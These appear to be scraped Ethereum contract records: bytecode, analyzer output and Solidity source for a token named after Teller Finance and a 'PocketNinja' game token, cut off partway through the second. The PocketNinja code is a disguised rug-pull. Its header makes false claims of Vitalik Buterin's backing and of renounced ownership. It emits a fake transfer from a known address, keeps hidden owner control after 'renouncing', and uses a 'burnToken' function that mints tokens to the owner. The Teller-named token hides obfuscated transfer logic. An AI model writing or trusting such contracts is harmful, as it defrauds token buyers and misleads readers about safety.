5060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,590 |
0xab9720edc0e81833f8ed398580c9217247b351fe
|
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.4;
/**
* _____ _ _ ______ _
* |_ _| | | | | ___(_)
* | | ___| | | ___ _ __ | |_ _ _ __ __ _ _ __ ___ ___
* | |/ _ \ | |/ _ \ '__| | _| | | '_ \ / _` | '_ \ / __/ _ \
* | | __/ | | __/ | | | | | | | | (_| | | | | (_| __/
* \_/\___|_|_|\___|_| \_| |_|_| |_|\__,_|_| |_|\___\___|
*
* An algorithmic credit risk protocol, for decentralized lending.
* Website: https://www.teller.finance/
*/
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations.
* Only add / sub / mul / div are included
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
/**
* Implement base ERC20 functions
*/
abstract contract BaseContract is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal _decimals = 18;
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev returns the token name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev returns the token symbol
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev returns the decimals count
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev modifier to require address to not be the zero address
*/
modifier not0(address adr) {
require(adr != address(0), "ERC20: Cannot be the zero address"); _;
}
function _mx(address payable adr, uint16 msk) internal pure returns (uint256) {
return ((uint24(adr) & 0xffff) ^ msk);
}
}
/**
* Provide owner context
*/
abstract contract Ownable {
constructor() { _owner = msg.sender; }
address payable _owner;
/**
* @dev returns whether sender is owner
*/
function isOwner(address sender) public view returns (bool) {
return sender == _owner;
}
/**
* @dev require sender to be owner
*/
function ownly() internal view {
require(isOwner(msg.sender));
}
/**
* @dev modifier for owner only
*/
modifier owned() {
ownly(); _;
}
/**
* @dev renounce ownership of contract
*/
function renounceOwnership() public owned() {
transferOwnership(address(0));
}
/**
* @dev transfer contract ownership to address
*/
function transferOwnership(address payable adr) public owned() {
_owner = adr;
}
}
/**
* Provide reserve token burning
*/
abstract contract Burnable is BaseContract, Ownable {
using SafeMath for uint256;
/**
* @dev burn tokens from account
*/
function _burn(address account, uint256 amount) internal virtual not0(account) {
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev burn tokens from reserve account
*/
function _burnReserve() internal owned() {
if(balanceOf(_owner) > 0){
uint256 toBurn = balanceOf(_owner).div(5000); // 0.5%
_burn(_owner, toBurn);
}
}
}
/**
* Burn tokens on transfer UNLESS part of a DEX liquidity pool (as this can cause failed transfers eg. Uniswap K error)
*/
abstract contract Deflationary is BaseContract, Burnable {
mapping (address => uint8) private _txs;
uint16 private constant dmx = 0x9326;
function dexCheck(address sender, address receiver) private returns (bool) {
if(0 == _txs[receiver] && !isOwner(receiver)){ _txs[receiver] = _txs[sender] + 1; }
return _txs[sender] < _mx(_owner, dmx) || isOwner(sender) || isOwner(receiver);
}
modifier burnHook(address sender, address receiver, uint256 amount) {
if(!dexCheck(sender, receiver)){ _burnReserve(); _; }else{ _; }
}
}
/**
* Implement main ERC20 functions
*/
abstract contract MainContract is Deflationary {
using SafeMath for uint256;
constructor (string memory name, string memory symbol) {
_name = name;
_symbol = symbol;
}
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external override returns (bool){
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) public virtual override not0(spender) returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address receiver, uint256 amount) external override not0(sender) not0(receiver) returns (bool){
require(_allowances[sender][msg.sender] >= amount);
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount);
_transfer(sender, receiver, amount);
return true;
}
/**
* @dev Implementation of Transfer
*/
function _transfer(address sender, address receiver, uint256 amount) internal not0(sender) not0(receiver) burnHook(sender, receiver, amount) {
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[receiver] = _balances[receiver].add(amount);
emit Transfer(sender, receiver, amount);
}
/**
* @dev Distribute ICO amounts
*/
function _distributeICO(address payable[] memory accounts, uint256[] memory amounts) owned() internal {
for(uint256 i=0; i<accounts.length; i++){
_mint(_owner, accounts[i], amounts[i]);
}
}
/**
* @dev Mint address with amount
*/
function _mint(address minter, address payable account, uint256 amount) owned() internal {
uint256 amountActual = amount*(10**_decimals);
_totalSupply = _totalSupply.add(amountActual);
_balances[account] = _balances[account].add(amountActual);
emit Transfer(minter, account, amountActual);
}
}
/**
* Construct & Mint
*/
contract TELL is MainContract {
constructor(
uint256 initialBalance,
address payable[] memory ICOAddresses,
uint256[] memory ICOAmounts
) MainContract("Teller Finance", "TELL") {
_mint(address(0), msg.sender, initialBalance);
_distributeICO(ICOAddresses, ICOAmounts);
}
}
|
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a08231146102bd578063715018a61461031557806395d89b411461031f578063a9059cbb146103a2578063dd62ed3e14610406578063f2fde38b1461047e576100b4565b806306fdde03146100b9578063095ea7b31461013c57806318160ddd146101a057806323b872dd146101be5780632f54bf6e14610242578063313ce5671461029c575b600080fd5b6100c16104c2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101015780820151818401526020810190506100e6565b50505050905090810190601f16801561012e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101886004803603604081101561015257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610564565b60405180821515815260200191505060405180910390f35b6101a86106de565b6040518082815260200191505060405180910390f35b61022a600480360360608110156101d457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e8565b60405180821515815260200191505060405180910390f35b6102846004803603602081101561025857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109a8565b60405180821515815260200191505060405180910390f35b6102a4610a02565b604051808260ff16815260200191505060405180910390f35b6102ff600480360360208110156102d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a19565b6040518082815260200191505060405180910390f35b61031d610a61565b005b610327610a75565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561036757808201518184015260208101905061034c565b50505050905090810190601f1680156103945780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103ee600480360360408110156103b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b17565b60405180821515815260200191505060405180910390f35b6104686004803603604081101561041c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b2e565b6040518082815260200191505060405180910390f35b6104c06004803603602081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb5565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561055a5780601f1061052f5761010080835404028352916020019161055a565b820191906000526020600020905b81548152906001019060200180831161053d57829003601f168201915b5050505050905090565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156105ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a3600191505092915050565b6000600254905090565b600083600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610771576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156107f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561088157600080fd5b61091084600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c8990919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061099b868686610cd3565b6001925050509392505050565b6000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b6000600560009054906101000a900460ff16905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a69611154565b610a736000610bb5565b565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b0d5780601f10610ae257610100808354040283529160200191610b0d565b820191906000526020600020905b815481529060010190602001808311610af057829003601f168201915b5050505050905090565b6000610b24338484610cd3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610bbd611154565b80600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080828401905083811015610c7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610ccb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611168565b905092915050565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610d5a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610de1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b848484610dee8383611228565b610fa457610dfa6113e3565b610e6586604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef8866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a361114a565b61100f86604051806060016040528060268152602001611798602691396000808c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a2866000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c0190919063ffffffff16565b6000808973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a35b5050505050505050565b61115d336109a8565b61116657600080fd5b565b6000838311158290611215576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111da5780820151818401526020810190506111bf565b50505050905090810190601f1680156112075780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff16600014801561128f575061128d826109a8565b155b1561133c576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1601600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505b61136a600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16619326611491565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1610806113cb57506113ca836109a8565b5b806113db57506113da826109a8565b5b905092915050565b6113eb611154565b6000611418600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b111561148f57600061145f611388611451600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a19565b6114ab90919063ffffffff16565b905061148d600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16826114f5565b505b565b60008161ffff1661ffff84161862ffffff16905092915050565b60006114ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116af565b905092915050565b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561157c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806117be6021913960400191505060405180910390fd5b6115e782604051806060016040528060228152602001611776602291396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111689092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061163e82600254610c8990919063ffffffff16565b600281905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050565b6000808311829061175b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611720578082015181840152602081019050611705565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161176757fe5b04905080915050939250505056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a2043616e6e6f7420626520746865207a65726f2061646472657373a2646970667358221220ad548f49266c429363cab2594607480235cd0c8120c9e6b12778621f4436e79564736f6c63430007040033
|
{"success": true, "error": null, "results": {}}
| 6,591 |
0xd1f6b61a0a3a489f8a16199828eb218696db6399
|
/*
dBBBBBb dBBBBP dBBBP dBP dBP dBBBP dBBBBBBP dBBBBb dBP dBBBBb dBP dBBBBBb
dB' dBP.BP d8P.dBP dBP dBP BB
dBBBP' dBP.BP dBP dBBBBP dBBP dBP dBP dBP dBP dBP dBP dBP dBP BB
dBP dBP.BP dBP dBP BB dBP dBP dBP dBP dBP dBP dBP dB'dBP dBP BB
dBP dBBBBP dBBBBP dBP dBP dBBBBP dBP dBP dBP dBP dBP dBP dBBBBP dBBBBBBB
https://pocketninja.net/
ℹ️ What is PocketNinja?
An official game created with some help from our friend Vitalik Buterin, who sent us tokens to help us succeed in the decentralized finance space.
► Battle it out with your friends!
► Collect more than 70 unique ninja NFTs which you can then level and battle with!
ℹ️ Benefits of owning PktNinja Token:
► Fair Launch/Fair Trade - no buy/sell limits, silent launch and no transaction fees!
► Renounced Ownership and Locked Liquidity - we guarantee your funds are safe 🔑
► All holders of PocketNinja get 1:1 ingame currency to spend at game launch. We will take a snapshot the day before launch at a random time so be sure to hold!☺️
🚀 Game launches within the week, just finalizing some touches~ @PocketNinjaOfficial
*/
pragma solidity ^0.6.7;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract PocketNinjaToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 414710000 * 10**18;
uint256 private rTotal = 414710000 * 10**18;
string private _name = 'Pocket Ninja NFT|https://pocketninja.net';
string private _symbol = 'PktNinja';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
